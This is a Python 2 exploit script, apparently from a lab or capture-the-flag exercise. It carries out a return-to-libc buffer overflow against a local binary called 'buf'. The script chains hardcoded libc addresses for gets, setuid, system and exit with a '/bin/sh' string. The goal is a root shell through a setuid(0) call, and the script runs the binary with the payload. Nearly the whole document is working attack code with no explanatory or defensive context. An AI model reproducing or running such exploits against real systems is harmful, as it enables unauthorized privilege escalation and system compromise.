ret2libc.py

from struct import pack
from subprocess import call
i=0x40                     #offset outside gdb
junk='A'*100
pad='B'*4
gets=pack("I",0xf7e4c610)
setuid=pack("I",0xf7ea3e60)
pop=pack("I",0xf7dfe04b)                    #pop;ret
system=pack("I",0xf7e22d60)
exit=pack("I",0xf7e16070)
sh=pack("I",0xf7f5c311)                     #/bin/sh string
ecx=pack("I",0xffffd20c+i)
dest=pack("I",0xffffd240+i)                   #first byte of setuid arg
desta=pack("I",0xffffd240+0x1+i)              #second byte of setuid arg
destb=pack("I",0xffffd240+0x2+i)              #third byte of setuid arg
destc=pack("I",0xffffd240+0x3+i)              #fourth byte of setuid arg
print "[+] Variables set. Making payload"
payload = ''
payload+= junk + ecx + pad
payload+= gets + pop + dest
payload+= gets + pop + desta
payload+= gets + pop + destb
payload+= gets + pop + destc 
payload+= setuid + pop + pad                  #argument for setuid
payload+= system + exit + sh
print "[+] Payload ready. Exploiting Binary."
print "[#] Here comes the root shell. Press 'Enter' 4 times !"  #four empty inputs to 'gets'
call(['./buf',payload])                                         #execute binary payload as with argument